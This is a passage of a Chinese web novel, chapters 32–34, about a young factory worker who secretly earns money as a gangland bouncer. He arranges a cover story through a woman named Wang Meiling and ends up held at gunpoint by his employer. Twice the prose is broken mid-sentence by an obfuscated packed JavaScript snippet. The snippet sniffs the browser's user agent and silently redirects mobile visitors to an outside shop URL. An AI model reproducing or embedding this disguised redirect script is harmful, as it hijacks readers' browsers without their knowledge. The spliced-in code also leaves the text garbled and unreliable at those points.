我也没客气,这种事一回生二回熟,收钱的动作相当麻利,直接往裤兜一塞。 但心里还是止不住好奇:大飞到底怎么了? 明知不能问,可这个疑问就像猫爪挠心,挥之不去。 第32章 天大的好消息啊! 梁经理应该知道点什么,只要我问了,他也不至于瞒着我。 但我还是忍住了,少知道点帮派的事,对我来说有利无弊。 我于是说有点累了,先回去休息。反正外头的情况,应该都摆平了。 梁经理似乎也有事,并没留我的意思,这让我暗自庆幸,赶紧从后门溜了出去。 沙田的夜晚,即使还未入秋,还是有点寒意。 哈了口气,清爽的空气让我头脑更清醒了。 幸好刚才没问,真问了,万一别人误以为我想继续往上爬,也乐意提携。那这乌龙不就闹大了吗! 不是我多心,大飞出了事,现在大b哥那头估计缺人手。 而我今晚表现如此出色,换别人,这就是妥妥的上位好机会! 但我不想。 老周说过,人活一世,浑浑噩噩也好,精明算计也罢,最重要是搞清楚自己想要什么。 我就很清楚自己要的只是钱。 所以哪怕我只是看场的,在道上其实也是底层人物,却无所谓。 站得越高,风险只会越大! 不能在那一声声“哥”里,迷失了自我。 街道上依旧灯火通明,行人来来往往,嬉笑声、交谈声交织成了一片。 这是港城的特色,越到晚上,反而更加热闹。 霓虹灯的光芒,在湿漉漉的路面上投下斑驳的影子。 空气中弥漫烧烤摊的香气和海风的清新,混合成了一种独特味道,让人心旷神怡。 周琴走在我前面,倒着走,双马尾一甩一甩,像两只调皮的小兔子在跳跃。 她的笑脸在灯光下显得格外明媚,眼睛里闪烁着兴奋的光芒。 这一刻,好似时间都放慢了脚步,只剩下我们在这灯火辉煌的街道上。 她每一步都那么轻盈,好像踩在云端,连笑声都像风铃般清脆悦耳。 “浩哥,我突然有个想法呢。” 我以为她又想那啥,顿时警惕起来,板着脸果断拒绝“我现在没这个心情。” 她愣了一下,然后笑得更欢了,好像我的拒绝是在跟她打情骂俏。 “不是啦,我是想说……” 她小跑上来,很自然挽住我的胳膊。 “我们有秘密了呢。”她的声音轻柔而俏皮。 我有点迷糊,心思也不由自主飘向了别处。 “啥?” 周琴那小女生般的作态,嗲声嗲气地说道“厂里的人只知道你叫唐浩,小桃姐也是,我却还知道你叫彪哥!” 说着,她还莫名自豪了起来。 我很无语,这小妮子压根不清楚,这句话如同一根刺,扎进了我内心深处。 平时不去想还好,是啊,嫂嫂并不知道。 嫂嫂才是我最重要的人,我这样瞒着她,以后可怎么收场? 除非,我真能够将整件事做得滴水不漏,并且把钱捞够后,真能全身而退。 光是想想就觉得好他妈难。 想着想着,头就大得不行,心里烦躁得像有火在烧。 也不想再纠结这些烦恼,便在心中安慰自己 这不还未发生,瞎操心个屁? 于是,我再次叮嘱她,“记住了,绝对不能告诉我嫂嫂,我不想她担心。” 周琴的笑容愈发甜美,眼中闪烁调皮的光芒“那当然,我才不要把我们的秘密说出去呢。” 我果断加快脚步,还是怕她又提出什么古怪的要求。 好在她没有,让我顺利回到了宿舍。 我赶紧上床,想着赶紧睡一觉,毕竟现在最大的问题是睡眠不足,可不能再晕倒了。 只是,没想到和周琴那一吻,后劲真挺大的。 躺在床上,那画面不由自主就涌上心头,心里真是各种滋味都有。 然后,他娘的,这回我是真失眠了。 第二天早上上班时,整个人还是无精打采。 到了午饭点,我这个状态也被嫂嫂瞅见。 尽管我们之前闹得挺不愉快,但嫂嫂依旧很关心我。 “小浩,又没睡好吗?”她皱着眉头,语气里满是 担忧。 我嗯嗯地点了点头,表现得心事重重,这更让嫂嫂着急了。 她连忙把手搭我手背上“怎么了吗?” 我暗暗得意,几天下来,思前想后,针对秘书这事,已经知道该怎么破局了。 嫂嫂不是想当那个该死的秘书吗?不可能,绝对不能让姓廖那个扑街如愿。 我手中的筷子有一搭没一搭,插着餐盘里的菜,重重叹了口气。 “嫂,别问了,我不想我们再吵架。” 嫂嫂更急了“哪有吵架,快说。” 我抬眼看看她,试探的语气说道“我不想让你不开心。” 嫂嫂气笑了,“你不说我才不开心。” 如此拉扯了几句,差不多时,我果断见好便收。 “嫂,以后你就要到处飞了,而且会很忙很忙,留我一个人在厂里,我孤独嘛。” 嫂嫂愣了下,旋即哭笑不得。 “瞎想什么呢,八字还没一撇不是么?” 或许因为跟周琴那啥过,以至于,我现在尤为敏感。 嫂嫂的手特别软,凉凉的,要是能紧紧握住,会是什么感觉呢? 我连忙敛了敛神,说道“可是嫂嫂你这么优秀,肯定会被重用啊。” 嫂嫂微微蹙眉,挺认真问,“小浩,你真觉得我有能力胜任这份工作吗?” 我当然想摇头,拼老命摇头,更想把那姓廖的阴谋,一股脑儿全说出口。 这玩意憋心口,别提多难受! 可我就是不忍心,不想让嫂嫂知道,别人提拔她,哪是看中她的能力啊,分明就是图谋不轨! 关键我也不想打击嫂嫂的信心,或许我的想法很幼稚,但我,出发点无非就是想保护好她。 世上的纷扰,我给她挡了; 那些肮脏和龌龊,我也挡了! 只要她开心,一切都值得。 我努力挤出一个笑容,坚定地说“当然啊,嫂,你就是我见过最优秀的!” 本以为这样能让她开心,没想到她的眉头却皱得更紧了。 “小浩,其实廖主管突然找上我,应该没那么简单的。” 她的语气透着一丝苦涩。 我一怔,真的假的,原来嫂嫂也意识到不对劲了? 好样的! “怎么说?”我急切地问,心中充满期待。 嫂嫂苦笑“就是过于热情了,我也是当时太开心,才有点迷糊。” “但事后想想,或许秘书这份工作,并没有我们想的那么简单。” “所以小浩,如果你不想让我去,我就拒绝廖主管,但就是……” 我简直心花怒放,我草! 这简直是这段时间下来,听到的最好的消息了! 比在舞厅那拿到一沓钞票,还要开心! 我不自觉就抓住了嫂嫂的右手,她微微一怔,却没有抽走。 那一瞬间,我感受到了一种温暖,仿佛整个世界都在这一刻静止。 “但是什么?嫂,别卖关子了,我急!” 嫂嫂被我这个样子逗笑,没好气道“瞧你猴样的,就真这么怕我丢下你吗。” 我点头如捣蒜,“当然啊,一想到以后要跟嫂嫂分开两地,我,我都愁坏了!” “好啦,那嫂嫂答应你推掉秘书这个工作,你轻点好不好,疼。” 她说着,右手微微挣脱,我才意识到自己太激动了,忙不好意思地放开。 “那但是什么呢?”我追问。 嫂嫂叹了一声,苦恼道“就是拒绝这么好的机会,家里那笔债怎么办?” 我一听,心头大定。 还以为嫂嫂有什么难言之隐呢,结果就这? 当下,我恨不得把那张银行卡拍桌上,还有昨晚那五千块,也学大b哥的,狠狠一拍。 然后一只脚踩椅子上,拍着胸脯,豪气干云说 嫂,不就是钱,我分分钟搞定了! 可惜并不能,只能幻想一二。 不过,关于这件事,我同样也想好了该怎么处理。 昨晚一宿没睡,倒是理清了不少头绪。 我笑了笑,“嫂,正好,我也有一件好消息要告诉你。” “什么好消息?”嫂嫂好奇问。 我故作神秘,“还没到时候,晚饭吧,晚饭那会你就会知道了!” 说完,我就起身朝大门快步走去。 其实要让手里头的钱变得合理,无非需要一个正当理由。 而这个理由,我已经想好了! 第33章 大变样子的王美玲 当然,我也明白,如果继续撒谎,只会让局面更糟糕。 事情已经彻底变了样。 最初,我只答应嫂子不再和道上的人来往,不干任何危险的事,老老实实打工挣钱。 但现在,一切都脱轨了。 怎么说呢,我也不想回头,至少,现在还不是时候。 当年那家伙被我打死,虽然是自卫,但因为防卫过当,我不仅把自己赔了进去,还得承担赔偿。 光丧葬费和精神损失费,就将近两万块! 爸妈东拼西凑,好不容易才把这钱填上。 本来,堂哥一家也该出点力,但他们一毛不拔。 我们两家因此闹得很不愉快,我进去的那几年,基本不来往了。 爸妈从朋友和其他亲戚那里借的钱,到现在也没还清。 更糟的是,那家伙有个未成年孩子,还得赔抚养费。 家里还有个六十多岁的老母亲,出事那会儿就疯了。 于是,他们家动不动就到我爸妈单位上闹。 爸妈都是农机二厂的工人,收入稳定。 可因为这事,单位说影响不好,劝退了他们。 劝退的意思就是没赔偿。 嫂子这些年偷偷摸摸给我家一些钱,但她因我堂哥也欠了不少债。 被堂哥发现后,免不了一顿毒打。 这些事,爸妈从没告诉过我。 出来后,我看到他们推着小车在街头卖烧饼,问他们,他们只说是厂里效益不好,赶上个体户经济好。 要不是镇上那些八卦婆娘,我估计还被蒙在鼓里。 一切因我而起,也该由我画上句号。 爸妈不能再过这种苦哈哈的日子,每天都要担心那家人来闹事。 那样我还是人吗? 那家人就是个无底洞,害我爸妈下岗,还不满意。 只要爸妈出摊,烧饼还没卖几个,那家伙的老婆就往地上一躺,撒泼打滚。 我出来那几个月,那家人倒是消停了,但估计只是怕我。 所以,我很急啊! 我想把这些债都平了,然后把爸妈接到大城市,远离那个小镇,一切从头再来。 但要实现这个目标,没钱怎么能行? 就凭我在玩具厂干的清洁工,每月才四百块,那要何年何月才能兑现我的誓言? 我只想多挣点钱。 可我知道,只要我坦白,嫂子肯定不答应,她还会告诉爸妈。 他们肯定都不会同意,他们都是老实人,打打杀杀的勾当,离他们的世界太远太远了。 再说,当下我的心态,正应了那句话——从俭入奢易,从奢入俭难。 一晚上我就挣了五千! 厂里那几百块的月薪,是真他娘看不上。 我便又把王美玲堵在她的办公室里,王美玲倒是见怪不怪。 她慵懒地靠在沙发上,优雅地翘起一条修长的美腿。 从烟盒中抽出一根烟,指尖轻巧夹住,动作流畅而自然。 好像这一切,都是她生活中的一部分。 她缓缓点燃香烟,烟雾缭绕间,映衬出她的轮廓更加柔和。 微微侧头,深吸一口烟,随后轻吐而出,烟雾在空气中弥漫,显得挺神秘。 确实勾人,让人禁不住想对她一探究竟。 此时的她,确实与平日的形象截然不同,给我带来了不小冲击。 之前我就隐约觉得她并不简单,而此刻的姿态更是印证了我的猜测。 她身上散发出一种大嫂的气质,应该年轻那会,也出来玩过? 难怪,她调戏我起来真是一套又一套,害我疲于应对。 没等我把来意道明,她却抢先问道: “小唐,听说你昨夜又跟人干架了?而且对方来头还不小?” 我皱了皱眉,暗骂周琴真是多事,但表面上只是苦笑几声: “是啊,王姐,你消息真灵通。” 王美玲今天的神情显得有些严肃,和往常的调侃截然不同。 她抖抖烟灰,目光愈发深沉,突然来了句:“这烟啊,我已经很久没碰了,以为都戒了,没瘾了。” 我一时不解她的用意,心里也焦急,便果断道:“王姐,我……” 她却又打断我,似笑非笑说:“小唐,别急着说你的事,先让姐姐猜猜?” 我就很无语,这女人今天到底干嘛,神神叨叨的。 “好,王姐你说。”我按捺性子道。 王美玲微微一笑,“小唐,你今天来找姐姐,是不是为了昨夜那五千块钱发愁?” “是不是手头上有钱了,心里开始痒了?想着该怎么花好,比如给你嫂嫂买礼物?可这钱,又不知道怎么说清楚?” 我心里一惊,卧槽!这女人难道真会算命吗,怎么会这么准? 见我惊愕,王美玲笑容更盛,好似一切尽在掌握: “所以,你就想着让姐姐给你打掩护,是不是?告诉你嫂嫂,你在路上捡到钱了?” 我苦笑,“王姐,你真是神了。不过不是捡到钱,我是想找个由头,顺带把我在外兼职这事也交代了。” “就是想美化 一下,王姐,帮帮忙吧。就说我到你朋友那当学徒,比如学炒菜什么的,怎么样?” 昨晚失眠,我都计划好了。 说自己跟大厨当学徒,这年头干厨子也挺吃香。 其他高大上的职业,太专业,这个谎也不好扯。 炒菜嘛,我确实会几手。 这样一来,我就有了名正言顺的理由。 出厂时不会被谁看见,又传到嫂嫂那,害她担心。 正当我以为一切妥当,王美玲却突然脸色一变,重重说了句:“胡闹!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13999633|148460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我不禁一怔。 王美玲的语气又转柔,但透着几分语重心长:“小唐,你在玩火知道吗?” “你以为,道上的钱想拿就拿,想脱身就能脱身?你要出了事,林桃她怎么办?” “你要不在,廖主管对你嫂嫂干点什么怎么办?” 她的三连问如同重锤,击打在我心上,让我一时无言以对。 不过,这些我也都想好了,很坚定回应: “我真需要快钱,而且,只要我有钱,姓廖的那个扑街才不敢动我,不是吗?” 王美玲蹙眉:“那你有没有想过,别人给你钱,是想买你这条命?” 我连忙摇头:“没那么夸张,我就看场,也没想过继续往上走。” 王美玲气笑,抽出一根烟,想点燃,却又犹豫了。 那一瞬间,连空气也弥漫开复杂的情绪。 “行,我看出来了,你现在就是被钞票冲昏脑袋,我说什么都没用了。” 我讨好道:“王姐,话不能这样讲,你对我的好,我唐浩记着的!” “噗,你真的是……” 王美玲颇为无奈瞅了我几眼。 “你绝对会后悔的,姐姐我是过来人,像你这种一步一步陷进去,见多了。” 我挠了挠头,其实并不想听她说教,因为道理我都懂。 “王姐,你就说帮不帮嘛。” 王美玲似乎也拿我没辙,轻叹了声,“那按你的想法,你打算挣够多少才收手?” 这是个好问题。 你是真他娘会问! 我虽然总想着差不多就撤,可这个差不多,还真没有一个具体数目。 王美玲冷哼,“看,你就没想过对吧,一晚上挣五千,哪还有心思安安分分干正经工作?” 我真的无话可说了。 她又叨叨了几句,说就算我不想继续往上走,别人也不会轻易放过我。 尤其像我这种特别能打的,在江湖人眼中,绝对是香饽饽。 这个江湖,就是个泥沼。 你一步踏进去,起初当然没什么,可等到小腿也沉进去,再想抽身,已经晚了。 她说,我听,内心无奈:这些道理,我怎会不懂呢? 可光讲大道理有什么用? 现在除了那家歌舞厅,哪还能让我那么快挣到钱,而且挣得那么多? 没有,对不对。 所以啊,要是有的选,我会选这条路? 我以为找王美玲打掩护这事没指望了,便想着撤,看看还有没有其他路子。 但王美玲接下来的一句话,又让我精神头一振。 她微笑着说:“要我打掩护不是不可以,但你得答应我个条件。” 我顿时狂喜,不过结合她这些天那不正经的调调,立马又暗生警惕。 “王姐,我是正经人。”我双手护住胸口,急忙强调。 第34章 小子,藏得挺深啊 王美玲斜睨我一眼,那一瞬,她眼中流露出的风情真能把人魂魄勾走。 “想什么呢,真当姐姐很饿啊?”她没好气道。 我微愣,不懂她又在胡说八道什么,也没心思深究,急忙问:“什么条件?” “就赌一个月,如果你还是看场,那算姐姐输了,你想要姐姐做什么都可以。” 话锋一转,她的声音低沉而坚定。 “但要是你被提拔上去,你就得赶紧抽身,也还来得及,必须远离那种地方。” 她的手轻轻搭在我的手背上,温柔的触感让我心中一阵痒痒。 她认真地说: “小唐,你救过我,那晚如果没有你,真不敢想会发生什么。所以,姐姐真不想看你有一天,横死在街头。” “哎!这事也怪我,怪我一时兴起,不去那家歌舞厅就好了。” 这一刻,她眼中流露出的关切如同温暖的阳光,照亮了我心底的阴霾。 我连忙说好啊,这还不简单? 只要我不愿意,难道大b哥还能拿刀架着我,逼我吗? 于是她也没再叨叨,我们迅速达成共识。 决定将西太隆街,合隆饭店的主厨说成是她的朋友,而我则因为之前救了她和周琴,她才引荐我去当学徒。 在大饭店里,还是在主厨手下当学徒,待遇可不差。 当然,当学徒怎么可能会有工钱,不贴钱都算好的了。 我和王美玲又一番合计,最终决定,还是因为王美玲想感谢我,于是给我开工资。 一个月,八百块呢! 只要转正,工资还能提到一千五! 这地方离玩具厂挺远,嫂嫂肯定不会轻易跑来找我。 再说,我都是晚上去当学徒,嫂嫂天黑后也不敢出厂。 沙田的夜晚总是喧嚣,厂里的工人们闲着没事,就喜欢聊些江湖上的事。 嫂嫂听了不少,昨晚饭桌上还叮嘱我要小心点。 一切都已敲定,我心中激动不已,立刻拉着王美玲,就去跟嫂嫂宣布这个好消息! 嫂嫂听完后,反应也和我预料的差不多。 她先是惊喜,握住王美玲的手,连声感激:“美玲姐,真是谢谢您了!” 王美玲微微一笑,优雅回应:“这是应该的,小唐是个好孩子。” 我在一旁看着,心里暗暗佩服,王美玲的表现,完美得让人挑不出一点毛病,嫂嫂根本没起丁点疑心。 然而,嫂嫂的笑容很快变成了担忧,她皱起眉头: “小浩,这样一来你不是更累了吗?一天要打两份工,身体哪吃得消?” 王美玲轻拍嫂嫂的手背,安慰道:“放心好了,等过段时间,大概一个月吧,我就把小唐调到仓库那边,工作轻松多了。” 嫂嫂一听,眼睛都亮了,连声道谢:“真的吗,那太好了,谢谢您,美玲姐!” 接连而来的好消息,让嫂嫂笑得像花儿一样灿烂。 我心中一片感激,暗想,要不是有王美玲,这事儿还真没那么容易圆过去。 我心里早就盘算好,准备动用手头上的钱,快入秋了,天气干燥,想给嫂嫂买些护肤品和新衣服。 家里头也需要继续寄钱,若没有正当理由,真不好搞。 此刻,我心里那块大石头总算落了地。 虽然隐隐中还有些不安,担心这个谎言被捅破,到时候怎么收场,但这小小的担忧并没有影响我整体的心情。 看着嫂嫂笑得如此开心,我也不由自主傻笑起来。 于是。 到了晚上,那个彪哥又上线了。 这回,我大摇大摆走出厂,再也不用像之前那样躲躲藏藏,生怕被熟人瞧见。 来到星光歌舞厅,一进门,奇怪的是,突然觉得这里的氛围没那么嘈杂了。 或许是在嫂嫂那顺利蒙混过去,我心里踏实了不少。 此时的我,在这个舞厅里也成了名人。 走哪儿,都有人跟我打招呼。 “彪哥晚上好!”客人们纷纷举起啤酒瓶,朝我表达敬意。 服务生见我就哈腰,“彪哥,您来了,梁经理正等着您呢。” 小姐姐们那探究的眼神,依旧赤果果,像是恨不得立刻跟我发展点什么。 我一边点头回应,一边往里走,腰杆不自觉挺得更直。 之前虽然也算小有名气,毕竟跟大飞过了几招,还能全身而退。 可显然那种冲击力,给人的观感还不够。 所以之前这帮人见我时并没有这般热情,看我年轻,稚嫩的脸蛋,多少容易让人轻视。 但现在,一切都变了。 敬畏代替了轻视! 果然应了那句话,面子,都是自己挣来的! 在梁经理的办公室,我的心情也与以往截然不同,早已不再拘谨,轻松打了个招呼: “梁哥,找我啥事?” 梁经理依旧热情如火,笑道:“小唐,你来得正好,走,跟我去个地方。” 说着,他不由分说拉上我就要走。 “去哪啊?”我好奇问。 梁经理却冲我神秘兮兮一笑,“待会说。” 说实话,我哪都不想去,就想找个包厢睡上一觉,躺着,把今日份的钱稳稳收入囊中。 然而面对梁经理的热情,我无从拒绝,只能跟着他从后门走了出去。 他的车是一辆本田雅阁,这在当时算很高档的了,商务人士最爱。 他几乎是要把我往车里头塞,我也头一回坐上轿车,不由觉得挺新奇。 可随之而来,是对即将到来的未知感到一丢丢紧张。 “梁哥,到底要去哪,别整得那么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13999634|148460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神秘,我可要跳车了!”我忍不住又问。 “哈哈,怕什么,你梁哥我什么时候坑过你?”他大笑,语气满满轻松。 这话倒是没毛病,但我很想说,我们也没认识几天啊? 不等我多想,车子已然启动,速度越来越快,窗外的风景在我眼前飞逝。 大约半个来小时后,我们就来到了一家夜总会门前。 牌匾上“大富豪夜总会”几个字,霓虹灯光辉映,显得格外耀眼。 我心中一紧,更加紧迫问:“梁哥,到底是做什么啊?你不说,我真走了!” 车上那会我已经问了很多次,但梁经理不停打岔,东南西北他都聊,偏偏不聊正事。 现在,又莫名其妙把我往夜总会里带,心里头,顿时有点不好的预感。 不会吧? 难道又让王美玲说中了? 梁经理这个老狐狸,依旧是不肯透露半个字,笑着说要带我见见世面。 被他拽着,我心中满是无奈。 但说实话,也是我相信他不会害我,不想得罪人,我还要在歌舞厅里混饭吃不是。 要不然就我这个身手,别人真想勉强我怎么可能呢! 穿过喧闹的大堂,我们来到了一间豪华包厢。 一进门,就看到大b哥在,他翘起二郎腿抖动,左右各搂住一个漂亮的女孩。 两个女孩的吊带裙几乎露了一大半,雪白的肌肤在灯光下闪闪发光,她们侧身一挤,那画面更是让人血脉贲张。 大哥的待遇就是不一样,其实不怪很多人都想往道上闯。 谁不想闯出点名堂,谁不想当大哥? 大b哥笑眯眯看着我,不紧不慢开口: “小唐,我可终于给你盼来了。” 我正准备说点什么场面话,可就在这时,脑门后,有个冷冰冰的玩意突然顶了我一下。 登时间,我整个人异常紧张。 我草! 怎么回事? 我可是时刻保持警惕的,怎么可能让人悄无声息接近我? 身后,应该只有梁经理啊?! 忙回头看去,结果真就只有梁经理,而他手中拿着的,竟然是一把枪! 我懵了,同时也非常生气。 试想一下,平白无故被这种玩意顶住脑袋,换谁来都会生气好吧。 纵然我身手再好,也挡不住这种玩意啊! 我既慌忙又急:“梁哥,大b哥,这是干什么?玩笑开大了吧!” 梁经理这时换了张脸,之前他总是笑得和气生财,好像全天下都是他的朋友。 可现在,他脸上挂着冷酷的狞笑,眼神如同鹰隼锐利,让人不寒而栗。 那笑容里,好似藏着无尽的阴狠。 “小子,藏得还挺深啊,老实交代,你接近我们到底图什么!”